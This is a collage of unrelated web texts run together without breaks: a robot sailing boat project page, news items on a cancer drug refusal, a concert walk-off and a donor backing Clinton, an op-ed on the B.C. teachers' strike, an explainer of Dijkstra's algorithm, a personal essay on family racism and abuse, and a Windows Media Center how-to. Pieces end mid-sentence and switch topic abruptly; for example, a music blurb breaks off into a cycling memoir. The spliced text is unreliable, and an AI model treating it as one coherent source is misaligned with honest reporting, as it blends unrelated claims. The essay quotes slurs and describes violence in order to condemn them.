Play the video to see how well Snoopy's 2014 boat 10 did against the smaller experimental boat 6 on 11th July 2014. The speech from the autopilot of Boat6 implies it was using experimental compass-based steering. i.e. "ahead, ahead, left, ahead", etc. Boat 10 used our old, trusted, GPS-Only steering. Why did Boat6 win? Much less weight: see the Blog for Boats 11 and 12 having a race with identical autopilots on Thursday 6th July 2017, three years later. We can learn a lot from what we did in earlier years, if we write it down - or better still, film it :-)
2.2 The Atlantic Attempt itself...
Every boat starts with weeks, or even months, of testing on Bray Lake. Each year we wait for a suitable "Weather Window", with FLAT surf, an offshore breeze from the North, and a minimum of three for our launch team, avoiding holidays, etc. We watch MagicSeaweed for FLAT surf, an off-shore wind, and no rain. We also watch Winds Expected. Live wind data for Calshot Spit is on www.rock7.com/wind/. Snoopy needs a day with suitable conditions for launch, to sail south to about 15 miles off the coast, before heading west, along the English Channel, and into the Atlantic. Ideally, we want close to a week of following wind, from the East or North, rather than from West or South. These wind conditions occur when a LOW pressure area passes to the South, rather than the North of the UK.
While Snoopy's Boat waits for the "launch window", we can still experiment with the Boat(s) for next year, or things like even smaller boats, better autopilots, or live monitoring of Snoopy's position relative to shipping. Checkout the new Boat 12 page, showing Eric's 1 metre long boat smashing the Bray Lake Test record. If you have the stamina, you can see the BlogX "Experimental Blog" page :-)
We now launch Snoopy from west of Boscombe Pier. You can click on Snoopy's SPOT Map or the picture on the right, to see where Snoopy is now. The detail of Snoopy's preperation for each attempt, including repairs, modifications, and testing, is in the current Blog6. e.g. plans for next boat; day by day progress on construction and tests.
For those interested, see "Summary of design used in 2012, 2013 and 2014 boats...", near the front of the Design page. The Q&A page discusses the effect of a strong tidal flow on robot sailing boats. We have a Tide Page, as an aid to understanding the best launch time, on a particular day. e.g. three hours ahead of Portsmouth High Water.
A different launch spot, such as near Sandbanks Beach Cafe, might get around a problem with wind direction, but what if the waves are big? To appreciate our problem, if we don't have those FLAT surf conditions, simply look at our March 2013 Atlantic Attempts page, and play the March 2013 video. Volunteers are welcome, if you are not putting anyone's lives at risk: we don't mind you getting wet :-)
Snoopy's SPOT Map will show where Snoopy is now. This might be at Bray Lake, at home in Sunninghill, on the way down to the coast - or at sea, on his way to the USA. Click on the map on the left, to see the detail.
Before making an Atlantic attempt, Snoopy has several weeks of "24/7 tests", to ensure all the boat is reliable. Snoopy sailed over 5,000 miles on Bray Lake in 2012, and has sailed a lot further since then! If the wind drops to below about 1mph - as often happens at night - Snoopy "goes for a wander". If he gets stuck near the shore, Robin goes over to push Snoopy out again.
Play the 1 minute Video of Snoopy's Cat' (catamaran). Next year's boat? That's Snoopy on the right, watching Telly, sat on his Windmill Boat :-)A CANCER patient whose insurance company refused to pay for a life-saving drug will now get the vital medication as a public patient.
A CANCER patient whose insurance company refused to pay for a life-saving drug will now get the vital medication as a public patient.
Bobby Power (67) was “very relieved” when informed he can begin a course of treatment using the Ipilimumab drug for his advanced melanoma cancer in his liver on Thursday.
The father of four was scheduled to receive the treatment at the Mater Private Hospital last Monday, when it was suddenly cancelled after Aviva Health insurance refused to pick up the bill.
Aviva Health said it would review its stance if the price of the treatment is reduced in future – the treatment costs €100,000 per four-week course.
“My dad is just so very relieved that the HSE have now said it will fund the treatment at the Mater Hospital. He will be treated as a public patient after a place became available on Thursday due to a cancellation,” said Mr Power’s daughter Lucy Danagher.
“Aviva’s refusal to cover his treatment has caused him immense stress. We’re very grateful to the HSE.”
Following Aviva’s refusal, Mr Power told The Herald his oncologist had informed him it was a matter of great urgency he received the Ipilimumab.
Speaking at his home in Portlaw, Co Waterford, he said he was informed the drug would give him a “fighting chance”.
Mr Power, who has four young grandchildren, had been a member of VHI for almost 40 years. When first diagnosed with melanoma in 2010, VHI funded the removal of part of his thumb as a means to removing the cancer.
In 2012 he switched to Aviva Health after receiving assurances from it that his cancer cover would be the same as the VHI.
He continued to receive CAT scans at the Mater Private Hospital in Dublin to monitor any recurrence of the cancer. Then last month it was discovered it had returned.
Aviva’s decision had left him “in limbo”, he said. He was enormously relieved that he had been accepted for the treatment as a public patient.
A spokesperson for Aviva Ireland acknowledged that the VHI have been paying for the treatment for its customers since August 2012.
The spokesperson said it had decided to follow the advice of the body known as the National Centre for Pharmacoeconomics which “advised against covering Ipilimumab at the price quoted to Aviva by the drug company having regard to its effectiveness in terms of patient outcomes”.
Online Editors2013 MusicFest NW: Neko Case at Pioneer Courthouse Square
Neko Case performs in Pioneer Courthouse Square on the closing night of MusicFestNW 2013. Ross William Hamilton/The Oregonian
Neko Case's two-night stand in Portland was supposed to be a celebration: of Record Store Day, of Revolution Hall's opening weekend and, of course, of the musician's own powerful catalog. But
, Case walked out of her Saturday show early, skipping the encore, thanks to an attendee who wouldn't stop filming -- contrary to Case's wishes. According to the Portland Mercury and fans on social media, Case asked the audience at the beginning of the show not to film it, a request one person denied. Many attendees appeared to be supportive, directing their invective to the would-be documentarian, though others wished that Case would've stuck it out.
Case did not address the incident, or either Portland show, on Twitter. She was not available for comment when reached by the Oregonian. Revolution Hall wasn't open yet when I wrote that
-- apparently some people still need a reminder. -- David Greenwald
503-294-7625;We're in the dead of summer, even before the back-to-school sales, and the B.C. teachers' strike has been going on quietly, behind the scenes. So it seemed odd when Finance Minister Mike de Jong announced his subsidy of $40 a day per child to parents of children 13 or younger, if the strike actually carries on into September.
The Fraser Institute's Plan to Undercut Public Schools read more
Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette.
Reportedly the offer could offset the costs of child care, or tutoring, or finding online courses. Or maybe beer and popcorn for the parents as a consolation for spending unpaid quality time with their kids.
Whatever the impromptu baby bonus might be for, it's scant compensation for missed days or weeks of school. It also offers an insight into the way the BC Liberals think about government in general and education in particular.
On the face of it, de Jong's announcement seemed like one of those performance-art stunts that right-wing governments are so fond of, like ending the long-form census. They're not responding to a popular demand, just expressing amused contempt for their adversaries.
It's certainly not a serious proposal. Good luck finding child care on short notice when everyone else is too, and what parent can judge a tutor's qualifications? For that matter, what parent would allow a stranger to be alone at home with their kids while Mom and Dad are working?
The money, an estimated $12 million a day, would come from what the government would save while the teachers are on strike. Much of it would likely go unspent and return silently to the government's general revenues, when it could have been stashed in a bank and earning interest for the education budget.
Return of a zombie idea
So why do it?
One reason, I suspect, is partly to give the teachers a poke in the eye for old times' sake, an opportunity the BC Liberals have never missed since Premier Christy Clark was appointed the party's first education minister in 2001.
But another reason may be to resurrect a zombie idea that should have died in the 1980s and '90s: the school voucher.
Public schools were under attack in those days too, by conservatives who said we couldn't compete with the Japanese (in the 1950s they said we couldn't compete with the Soviets).
The conservatives shut up when the Japanese economy tanked, but never gave up their argument: for real excellence in education, give parents money to spend on their children's education wherever they see fit.
The premise was that in a free market, good schools will drive out bad. Armed with real spending power, parents will pull their kids out of bad or mediocre schools and put them into excellent schools -- ideally, charter schools running without tedious unionized teachers and staff, and offering a more business-oriented curriculum.
The idea caught on to some extent. You could argue that B.C.'s current subsidy to independent schools is a kind of voucher, payable directly to the school when the child enrols. But those schools still have to meet B.C. curriculum standards.
Overall, however, everywhere from Sweden to Louisiana to Milwaukee, Wisconsin, vouchers have flopped and the public system, warts and all, continues to dominate.
Immunity to experience
Still, conservatives are, like Scott Fitzgerald's middle-aged matron, "preserved into another generation by good digestion and immunity to experience." They continue to endorse vouchers despite their manifest failure; that's the definition of a zombie idea.
Vouchers, like collectivizing the peasants or running backyard blast furnaces, are an ideologically driven concept. Without a shred of evidence, ideologies make assertions about human nature and the ideal human society, and then plunge ahead to make that society real.
In the case of North American conservative ideology, the assertion is that the human being is primarily a consumer, perfectly informed and making rational choices about which goods and services to consume. A corollary is that this consumer has no relationship to other consumers except as a competitor. If I must beggar my neighbour to acquire more and better stuff, too bad for my neighbour.
While conservatives have to put up with the forms of democratic process, they can expedite their ideal society by limiting the process -- setting out only a narrowly defined set of alternatives for the voters to choose. They have achieved remarkable success since the 1970s in doing so, using think-tanks, media relations and cooperative politicians to create right-wing agendas that even left-wing parties have to pay lip service to. We are even reduced to defending education as an "investment," as if it were a business venture instead of a simple social good.
The 40-buck precedent
In the present situation, Clark's and de Jong's 40-buck solution looks like a possible precedent for bringing back vouchers: giving parents their kids' per capita operating costs and letting them spend it anywhere. Never mind the capital expenditures or fixed costs -- no one thinks about them, and once the kids are committed to a school those extra costs can come out of the parents' pockets.
If they regard government as a barely necessary evil, conservatives who gain power can reduce the evil by reducing expectations of government services. So they save "hard-working taxpayers' dollars" by cutting taxes and thereby cutting services.
The taxpayers may have a few extra bucks in their pocket, but they'll have to spend far more to buy the privatized equivalent of services they once enjoyed. Pretty soon no one will even remember when government used to run a good postal service, or enforce environmental protection, or provide a solid, universal public school system.
In the case of public education, at least, this really amounts to a "category error" in the conservatives' ideology. They think job training is the whole and only purpose of education, and anything else is a "frill."
They're also unclear on the beneficiaries. They think education is a subsidy paid to parents who want their children to gain a competitive edge for the cut-throat world of the free market. (The media endorse this view by harping on inconvenienced parents during a teachers' strike.) Getting the parents' votes by paying them a $40 subsidy is a cost of doing business as a self-dismantling government.
In reality, public education is a cost of doing business as a sustainable democratic society. It has nothing to do with parents except that they too want to bequeath such a society to their children. The purpose is not simply to teach the skills demanded by the current market, plus an obedient frame of mind; that's actually the responsibility of employers, who are the welfare-queen beneficiaries of the present system.
Trying to divide parents and teachers
The real purpose of public education is to equip young people with the skills, knowledge, and mindset needed to assume control of the country itself. They are the citizen-proprietors of Canada, not cheaply trained employees. If they are currently alienated from the democratic political process, they are like shareholders bamboozled into letting management run wild while ignoring their best interests.
In immediate political terms, the BC Liberals' bamboozling seems to be based on isolating B.C. teachers. As those with the greatest interest in smoothly running public schools, parents have tended to support the BCTF, and most are aware that the B.C. Supreme Court has twice upheld the teachers' position on their breached contracts of 2002 and 12 years of deliberate underfunding.
But Christy Clark and her finance minister seem to think that 40 bucks a day for babysitting (or popcorn and beer) will pry parents away from the teachers. Hey, when it's ideology, it doesn't have to make sense.Image: Andreas F. Borchert/Wiki
Algorithms are a science of cleverness. A natural manifestation of logical reasoning—mathematical induction, in particular—a good algorithm is like a fleeting, damning snapshot into the very soul of a problem. A jungle of properties and relationships becomes a simple recurrence relation, a single-line recursive step producing boundless chaos and complexity. And to see through deep complexity, it takes cleverness.
It was the programming pioneer Edsger W. Dijkstra that really figured this out, and his namesake algorithm remains one of the cleverest things in computer science. A relentless advocate of simplicity and elegance in mathematics, he more or less believed that every complicated problem had an accessible ground floor, a way in, and math was a tool to find it and exploit it.
In 1956, Dijkstra was working on the ARMAC, a parallel computing machine based at the Netherlands' Mathematical Center. It was a successor to the ARRA and ARRA II machines, which had been essentially the country's first computers. His job was programming the thing, and once ARMAC was ready for its first public unveiling—after two years of concerted effort—Dijkstra needed a problem to solve.
"For a demonstration for noncomputing people you have to have a problem statement that non-mathematicians can understand," Dijkstra recalled in an interview not long before his 2002 death. "They even have to understand the answer. So I designed a program that would find the shortest route between two cities in the Netherlands, using a somewhat reduced road-map of the Netherlands, on which I had selected 64 cities."
"What's the shortest way to travel from Rotterdam to Groningen?," Dijkstra said. "It is the algorithm for the shortest path, which I designed in about 20 minutes."
Google Maps does this for us now and we don't even really think about what a complex task it could be. Shortest path problems, a key feature of graph theory with a whole lot of pretty obvious real-world applications, get insanely deep very fast. The result is known (informally) as a combinatorial explosion, which is where the number of different combinations that must be explored in a given problem grows exponentially.
The result of such an explosion is that problems, like shortest path problems, grow so quickly as to become practically incomputable, taking a practically infinite amount of time to solve. It only takes a handful of nodes in a given map or graph for the number of possible combinations to push into the billions, requiring vast and unreasonable amounts of time.
The easiest way to explain Dijkstra's algorithm is probably with an example. Take the graph below, where the numbers given are the weights of each connection. (A weight could be a simple distance or really any relative cost associated with traversing a particular connection that we're seeking to minimize.) To start, we assign s, our starting position, the value 0. It takes 0 miles (or whatever) to get here because it's the beginning position. Next, we look at the neighboring nodes of s, which we can imagine as a sort of frontier to be explored.
In the first iteration, we look to the closest node, which is 1 unit away. We assign a label to the node with that value, a, and look onward at the next frontier nodes and their respective distances. b is 1 away (2 from the beginning), c is 2 away (3 from the beginning), and we also have d, which is 2 from the beginning. Since we're after the shortest path from the beginning, we're forced to move to d from s (2 units), and we assign a value of 2 to d. On the next iteration of the algorithm, from d we look ahead to c, which is 10 away (12 from s), but we also look again from our outpost at a, where we can still get to c in 2 (3 from the beginning) and b in 1 (2 from the beginning). We set up our next outpost at b and assign it a label of 2 (2 moves from the start).
Our explorer stationed at b is in for a disappointment. The only possible move to t is 10 units away (12 from the beginning). And this is more than the 2 units from a to c (3 from the beginning) and the same as a trip from s to c through d, a possibility we can now safely discard (having arrived at c in only 3 units, rather than the 12 required via d). Now, we're at c and if this seems complicated it's really not. We're just making cautious, tentative steps from node to node, while being forced by the algorithm to always consider the shortest path from the start.
Finally, we again look from b to t, again noting the total path as being 12. Meanwhile, the final jump from c costs 1, for a total shortest path distance of 4. And so an incredibly complex—explosively complex—problem can be accomplished elegantly, simply, and even intuitively on paper.
More examples:
Second image:
Dijkstra says he came up with this while sipping a coffee on some cafe terrace. "In fact, it was published in 1959, three years later," he recalled. "The publication is still quite nice. One of the reasons that it is so nice was that I designed it without pencil and paper. Without pencil and paper you are almost forced to avoid all avoidable complexities. Eventually that algorithm became, to my great amazement, one of the cornerstones of my fame."
This is what makes Google Maps go 'round, or at least some variation of it is. Really, it's what makes such route-finding possible at all: just enough cleverness to see through the noise.Montreal
Former Archbishop of Canterbury Rowan Williams and Canadian philosopher Charles Taylor have called for more openness and dialogue among different faith traditions, saying there can be no single definition of religion that will fit all cases.
Williams joined Taylor in a “conversation” September 15 that was the keynote event in a weekend conference organized by the Centre for Research on Religion, an interdisciplinary arm of McGill University’s School of Religious Studies.
There needs to be more exchanges between people of different traditions, said Taylor, a prolific author of books, including A Secular Age. Taylor is also widely known for having co-chaired, along with sociologist Gérard Bouchard, a Quebec provincial commission that recommended a ban on religious symbols worn by public servants in positions of “coercive authority,” including judges and police officers.
In the wake of the Quebec City mosque attack early this year, Taylor reversed his position, arguing it was no longer appropriate in today’s climate.
“There is no possible ethical position that does not involve dilemmas. The world is just too complicated,” said Taylor. “The rule book can be great, but then you can’t live up to it. Without cultural development in society, a rule book is of little use.”
Williams agreed, noting that “a rationalist secularism that silences other voices” has given rise to problems. “The state acts as it does because the culture is as it is. We need to have more argument in public.”
Williams said this holds true for both politics and religion. “If the church is what we say it is, then we will always have something that we need to learn from the other,” he said. “And if democracy is not to be just authoritarian tyranny, this assumes ongoing argument. But this argument should be managed justly, peacefully and purposely.”
Today, Williams said, it too often seems that people are being offered an unappealing religious choice between authoritarianism and the pious sentimentality of “beautiful souls.”
The forum also touched on the topic of the jihadist group Islamic State, and Williams noted that although critics sometimes refer to it as medieval, it is not really medieval enough.
Williams said that even though the Islamic State evokes an imagined past, characteristics like pressure toward uniformity make it quite modern, like other fundamentalist groups.
“They set out to define a market share and then attract people to it. That’s modernity,” said Williams, a renowned scholar, author and head of the Church of England and worldwide Anglican Communion from 2003 to 2012.“I will continue to find ways to support Hillary Clinton and defeat Donald Trump,” said billionaire hedge fund manager Seth Klarman. | Getty Billionaire Seth Klarman backs Clinton, calls Trump's comments'shockingly unacceptable'
A billionaire hedge fund manager who has donated to political action committees backing Jeb Bush, Chris Christie and Marco Rubio during this election cycle announced Wednesday that he now feels compelled to support Hillary Clinton for president.
Seth Klarman, president and CEO of The Baupost Group, told Reuters in a statement that he found recent comments from Donald Trump “shockingly unacceptable,” specifically those in which the Republican nominee suggested that the general election will be “rigged.” Klarman called that comment from Trump “particularly dangerous.”
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“I will continue to find ways to support Hillary Clinton and defeat Donald Trump,” said Klarman, who donated $5,400 to the former secretary of state’s campaign in June.
Klarman is registered as an independent voter and has given money to candidates from both parties in the past. According to filings reviewed by Reuters, the hedge fund manager previously donated money to Clinton’s previous presidential campaign, as well as to Democratic Sens. Cory Booker and Mark Warner. But he has also donated to Republican campaigns, including those of Sen. John McCain and former New York Mayor Rudy Giuliani.
"He is completely unqualified for the highest office in the land,” Klarman said in his statement to Reuters.
Klarman’s decision to publicly back Clinton and denounce Trump adds his name to a growing list of individuals who might otherwise support the GOP ticket abandoning it in favor of the Democratic one. Earlier this week, Hewlett Packard CEO and prominent Republican fundraiser Meg Whitman announced that she intends to fundraise for Clinton’s campaign and vote for her in November’s general election over Trump, whom she labeled a “demagogue.”
The mass defections from Trump come amid perhaps the roughest stretch yet of what has already been a rocky presidential campaign for the GOP nominee. Trump’s latest controversies, which have included feuding with Gold Star parents who criticized him at the Democratic National Convention and refusing to endorse House Speaker Paul Ryan in his upcoming primary, have set off a fresh wave of concerns about his campaign’s viability against Clinton, whose post-convention lead in the polls has grown dramatically in recent days.
Republican staff members and even lawmakers have begun to turn on Trump as well. Sally Bradshaw, a campaign manager for Bush’s gubernatorial runs and a top adviser on his 2016 presidential bid, announced this week that she will vote for the former secretary of state if the election in her home state of Florida is close, and longtime Christie aide Maria Comella has made public her intention to break from her longtime boss and vote for Clinton.
Rep. Richard Hanna (R-N.Y.), who has already said he plans to retire at the end of his term, also announced in an op-ed earlier this week that he will break with his party and vote for Clinton this November. Rep. Adam Kinzinger (R-Ill.) also says he won't vote for Trump.The drop date for the Deftones’ hotly anticipated Koi No Yokan is fast approaching (November 13), but two new songs in as many weeks is still a surprise. Today PureVolume debuted the Sacramento alt-metalers’ “Tempest,” an alternately brooding and furious grinder that takes its lyrical cues from doomsday theory. In an interview for the site, singer Chino Moreno explains that the coming apocalypse almost became the guiding concept for the entire LP.
“Koi No Yokan” is, of course, an old Native American expression about the predicted evaporation of the Seven Seas, which translates roughly to, “Fish don’t choke.” We made that last part up. (The Internet says the Japanese phrase can’t be translated to |
married or not.
In the year since the race, I’ve traveled and hung out with my VOP buddies, heard fabulous music, enjoyed dates, and plowed through great food. Austin is a good place. Meanwhile, Madeleine and I are getting a divorce. I’m still processing the breakup, and I remain upset. I still love her. But ours is a different relationship now than it was, and I’m optimistic that we’ll be real friends as well as caring parents.
As for VOP, the boys and the rides still torment me in beautiful ways. While fitness alone won’t mend a broken heart, if you get fast on a bike and come to Austin, I know a great bunch of cyclists who can make you smile. I’m living proof: most mornings I rise knowing that the best thing I can do is point my bike toward the group ride, and then put one pedal in front of the other. OWhen The Racist Is Someone You Know and Love…
Katherine Fugate Blocked Unblock Follow Following Aug 30, 2017
“Don’t worry, pretty lady. I’ll make sure to use a good, strong lock to keep the niggers out.”
He smiled. I blinked. Fifteen years ago, I was moving into my third-floor condo in the French Quarter of New Orleans, Louisiana. I’d hired a neighborhood locksmith to re-key the locks. The place was the size of a postage stamp but it was all mine and it had an extraordinary view. Below me was a lush courtyard where weddings took place. If I stood on my tiptoes, carefully leaned over the wooden dish rack with mismatched dishes and looked out my tiny kitchen window, I could see the Mississippi River.
As the locksmith worked in the open doorway, the trilling chords of the calliope from a steamboat clung to the cold river air and crossed the threshold, drifting inside, chilling the room.
The word had been given no special weight among the rest. The man’s eyes kind. His skin white, his belly thick, his hands bruised and scarred. He was missing a finger. He reached into his worn leather bag and withdrew a heavy deadbolt. Bigger than the one I had.
I’m white. A woman. Five-foot-two and blonde. He was white. A man. He didn’t want to just re-key the locks I had. He wanted me to feel safe.
I let it slide. I let him believe it was safe to speak to me that way.
When I turned 13 years old, I learned the “other” is not always on the outside of the door. It was summer. A pool party. Bathing suits, pimples and braces. I was a brand new teenager and he was a brand new stepfather. Even though it was my birthday, the charismatic stepfather was the center of attention. Women on the block were drawn to him. He was big, strong, virile. Men liked his sense of humor, bold and crass. He held the room in his hands.
He liked to drink. He sang the loudest as I blew out the candles on my birthday cake. He drank some more. Then my new stepfather pulled my mother onto his lap. It was easy for him to do. She was small, blonde, like me. He put his large hand over her vagina, twisting her bathing suit bottoms in his hand, wriggling for the right fit, like fingers in a bowling ball.
He told the men in Bermuda shorts and sandals, “See this? This is my cunt — You boys stay away from it.”
An uncomfortable silence. Was it from his actions, the word he used — or both? Then he laughed heartily, breaking the spell.
I looked at my mother. She wouldn’t look at me. She looked down, at her bare feet, and stayed very still. My mother was 31 years old. This was her third marriage. She had three children. She didn’t have a job. So, she let it slide. And picked up a glass of wine.
When I was 15, my stepfather took me on a road trip. I was the oldest child and something had to give. He was a truck driver. Cocooned inside the top of his cab, I watched the world go by as we passed tall green trees and crossed state lines. He knew the names of all the waitresses at truck stops. And they knew mine. Oh, does he brag about you. Shows us pictures of all you kids. He bought me every tacky souvenir I wanted, taught me how to use his CB radio and he never had one drink. It was a good week. People can surprise you.
When I was 16, my stepfather took a rotary dial telephone in his right hand, held my mother down with his left hand and bashed her repeatedly over the head. The blood spurted out of her like water from a drinking fountain — straight up, then cascading down all over the floor. I held a knife to the back of his neck. He stopped hitting her. The police came. He was taken to jail. My mother left in an ambulance. When she returned home she had a shaved head with stitches crisscrossing like railroad tracks. My mother told me he was sorry and he promised he would never do it again. I told her I was leaving.
What we allow will continue. What continues will escalate.
He told me I could take whatever I could fit into one suitcase. Everything else, he reasoned, was his. He had paid for it. I skateboarded to my job working nights at Burger King to pay the rent. For the first time in my life, I did not live in my own house. I slept through the night. And I didn’t have a deadbolt.
I was known as The Girl Who Lived In The House Where the Ambulance Came or simply Ambulance Girl. Arleen didn’t care what they said about me. She was my best friend. She was a round, cozy Latina, happy as a Buddha. I loved her. She came to my track meets. So did other members of my family, concerned about me. They saw me fall into Arleen’s arms after a brutal race.
“Don’t you have any other friends?” I said yes. But Arleen’s my best friend.
“Arleen doesn’t belong here.”
They smiled. The same smile of kindness on their faces that I saw on the locksmith in New Orleans. What does that mean, I asked? Of course Arleen belongs here. She literally goes to the same school that I do. Why is she different? Don’t you have any other friends, they asked again? Our school was half-Mexican, half-white. We had no black kids, no Jewish kids and one Asian girl, Thanh, who had just transferred in. Thanh was my other friend.
My mother would let me know when my stepfather was gone and I would pick up my little sisters and take them to the park. My mother and I behaved like divorced parents who only spoke because of the kids. But when I saw her next, I blurted out what they said about Arleen. Her green eyes hardened.
It was my mother, after all, who rescued feral kittens and damaged people from alleys and gave them a home. Although she couldn’t defend herself against her attacker, she defended me. She said I could choose any friend I like and to fuck them. It was then that I realized I’d never heard my mother say a curse word — or a racist, hateful word.
I was eight years old. My grandmother and I were wearing matching overalls inside “The K-Mart.” My grandmother was shuffling through coupons when she suddenly reached out and grabbed me by the arm. I stopped short. She pointed out a little black boy my age who was shopping with his mom.
“This is what I’ve been trying to tell you about them.” She said in her Southern accent. “Look at his ears. He’s got tiny ears.” I looked at his ears. They looked like normal kid ears to me. “Tiny ears are the mark of the Devil.”
My grandmother was born in the backwoods of Kentucky, the youngest of 13 children born to a fire-and-brimstone Baptist minister. He taught them to love Jesus and he beat them across the back of the legs with a switch to keep them in line. They grew up in a cramped two bedroom house with no electricity. The Devil got a hold of her older brother. She fought him off when he tried to rape her in a shared bed. He wasn’t punished. They prayed for him.
She dropped out of school in 8th grade and got married. At 16, she gave birth to my father. Her husband went away to war. He returned home wounded and died. She moved from state to state, working in factories by day, waitressing by night. She was a single mother who paid her taxes, did the right thing, but there was never enough money and she never fell in love again. Over time, she wore her own scars and bruises from life, just as the locksmith.
She used the N word. A lot. The Little Boy’s mother heard her use it in K-Mart. So she hurried him away. But not before I saw the hurt in her eyes. Like my mother’s eyes when she became a bowling ball. I collected that hurt.
The people who raise you, they don’t just teach you to put on your clothes and look both ways when you cross the street. They also teach you words. They teach you how to speak about people who look differently than you do. They teach you how to respond to crisis. Do you remain silent and let it pass or do you speak up and call for help? They teach you what a lover relationship looks like. Does it look like a partner who shares the responsibility of cooking dinner? Or does it look like a partner who smacks you to the ground with his fists because dinner isn’t on the table?
My grandmother took care of me when my parents couldn’t. She loved me something fierce, so much so that I wrote a movie about her. When I was a teenager, I asked her to stop using the N word. She was defensive. We’ve always used that word. I said, it’s a racist, hurtful word. She was angry, but there was something else — anguish. She knew she shouldn’t be using the N word, but she needed it. So she held on tightly, not letting me take it from her.
In college, I fell in love with a boy named Kelvin. He was kind, prone to pratfall and we both felt like outsiders. I was a theatre major in a predominantly pre-med school. He was black. Kelvin wasn’t the Devil. He was studying to be a doctor. Unlike my father’s mother, my mother’s parents came from a wealthy, conservative family. They spent thousands of dollars trying to save my mother. They hired lawyers, sent her to year-long rehabs and paid for therapy. Nothing lasted. They also helped me. They sent me $100 a month to help pay for my college expenses and they bought me a car.
When I introduced Kelvin to my grandparents after a play, their reaction was faster than it was at the track meet with Arleen. They got up out of their seats, turned their backs on us, and walked out of the theater. Days later, I received a letter telling me they were heartbroken. He may be a nice boy, but imagine what the neighbors would think if they saw a black boy walking up to your front door? I had disgraced myself and our family and I would no longer be receiving their monthly $100 check. I was in school from 9am to noon and waitressing at Bob’s Big Boy from 4pm to midnight. With their help, I was lucky to have $20 bucks left over each month as it is.
Kelvin said we should move in together. It would save us both money. I would like to say that I was courageous. That I, like my mother talking about Arleen, told my grandparents to fuck off. I would like to say that I told Kelvin I loved him and let him swing me around the University Avenue laundromat as we folded our clothes together. That would be the movie ending.
After all, I recognized what my grandparents were saying was wrong. And it was unfair. And it was racist. But I was not able to do anything beyond recognizing that.
I was 21. Early in the morning, when my mother was sober, a car accident took her life. My mother had abused alcohol, and she had been abused, for over a decade. But if you looked closer, looked gently, you could see she’d long been on the road to an early death. So I broke up with Kelvin coldly and abruptly, never really giving him a reason. I needed my family.
At 25, I dated a woman for the first time. Leura. I told my grandmother. She wasn’t thrilled but, she said, when push comes to shove, a white girl is better than a black boy. Leura was invited to my grandmother’s house. She was fed fried chicken, collard greens and corn bread. She and my grandmother bonded. I went to bed early and they stayed up late playing Pinochle. Leura wanted to move in with me. So I broke up with her.
When my grandmother was dying of lung cancer, her roommate in the hospital was a black woman her age, also dying of cancer. Death united them and they became deep and fast friends. They finished each other’s sentences and watched the same soaps. They shared a love and familiarity that could only come from 50 years of marriage — or from realizing the outside world will never understand what you’re going through and you only have each other.
I was visiting them both in the hospital when my grandmother said, simply: I was wrong to use the N word. And I was wrong to tell you all those horrible things about black people. It’s what my daddy taught me and it was wrong. She said it in front of her roommate, who listened but never said a word. It was a movie ending — and it was true.
At 34, I was invited to a dinner party at the candlelit Chateau Marmont. In our red velvet booth sat the famous and semi-famous in plunging necklines, tight pants, expensive jewelry and perfectly manicured nails. They were all white, all straight, all in couples except for one man, who I realized was invited for me, the other single person.
Like most kids from dysfunctional homes, I’ve never felt good enough. Especially in heightened situations like these, that overflow with money and prestige. The clues are all there. I eat too fast, from years of half-hour breaks during waitressing shifts. My nails aren’t manicured. I’m quirky, not coiffed. But it’s something more. It’s who I am, the way I move. I’m just not put together enough and it’s only a matter of time before they realize I’m a fraud. So as superficial as it was, to be accepted by fame and fancy was a thrill.
After a few drinks the homophobic comments began. I was surprised because these were successful folks in the film and television community. Surely, we’re not like that? We work with gay people every day. But this is how casual racism and casual bigotry works. It works with two faces. The public face, where all the right words are said. And the private face, where your mother is beaten and kids are told to keep their mouths shut or else.
I said with a smile, hey. I don’t think those comments about gay people are cool.
“Are you a dyke or something?”
He asked. Not unkindly. I was floored. His question implied that to stand up against a racist or bigoted thought, you must secretly be one of them. Because no straight person would call out another straight person over a gay comment. No white person would call out another white person over a racist comment.
I was angry because I had slept with a black boy and a white girl and that lessened, in their eyes, my defense. I was angry because they could see the answer on my face and I could feel their relief. I was the one to blame. I had hidden myself in plain sight. But Kelvin cannot hide in plain sight. Whenever he walks down the street — he’s a black man. Arleen can’t hide in plain sight — she’s a brown woman. And even if a gay person can put on the straight mask and hide in plain sight walking down the street, they should not have to drop the hand of the person they love to feel safe.
I looked at the man, “You just said a pretty hateful comment about how ‘faggots’ are taking over Hollywood and that a faggot actor got a job that you think you deserved, rather than thinking just maybe that actor had more talent than you did and deserved the role.”
Now they were angry. No one likes to be called a racist or a bigot. Despite what they say or do.
I continued, “But to answer your question. Yes, I’ve slept with women. But if you think that means calling you out doesn’t matter as long as straight white people give you a pass, then we’re going to be waiting a long time for this world to change, because what you said is not okay.”
When I was done, my voice was shaking. My heart was pounding in my throat. I looked around the table, just as I had looked at all the adult faces at my 13th birthday party. Anyone going to help me out? I looked especially close at the women. Anyone have my back here? They, like my mother, looked away.
I picked up my purse and walked out of the restaurant. I have no idea if what I said made a difference to anyone at that dinner party, then or years later, but it did to me. Because I didn’t let it slide. I’ve learned what letting it slide does to a person.
The racist waving his flag isn’t a surprise. I see him. You see him. We all know what that’s about. But racism and bigotry don’t always march down the street. Sometimes the racist or the bigot sits down at your dinner table and asks you to pass the bread. Those are the ones who surprise you. Racism grows and festers in intimate spaces and behind closed doors. In the words spoken by the people you know and love and who look just like you.
Should I have kicked out the locksmith? Should I have stormed out of the restaurant? Would you have?
Letting a comment slide can feel like a deadbolt sliding over your soul. And speaking up doesn’t always feel like a victory, especially in the moment.
What we allow will continue. What continues will escalate.
May you always have the courage to speak out. And when you do, may it unlock the soul and warm the chilliest of rooms.Earlier this year I suggested that because Microsoft was unbundling Windows Media Center from Windows 8, fans of the former should avoid upgrading to the latter.
Thankfully, Microsoft plans to charge a reasonable (but still annoying) $9.99 for Windows Media Center. Given how few users actually use the product, I can live with that.
Of course, free is always better. And if you have Windows 8 Pro, you can get Windows Media Center free for a limited time. Here's how:
1. Head to Microsoft's Feature Packs page, scroll down a bit, and fill out the short form to request a free product key.
2. Once you've received the e-mail with the key, press Windows-W (i.e. hold down the Windows key and tap W) to bring up the Settings menu, then type add features.
3. Tap or click Add features to Windows 8, then tap/click I already have a product key.
4. Type or paste in your product key, click Next, read every last word of the licensing agreement (kidding!), and then click Add features.
Presto! You've got Windows Media Center—after a reboot, of course. Some things never change.
This offer is good through January 31, 2013, so you've got time. However, if you don't have the Pro version of Windows 8 and you want WMC, you'll need to pony up $69.99 to get the Windows 8 Pro Pack. Something to think about as you ponder your OS upgrade plans.
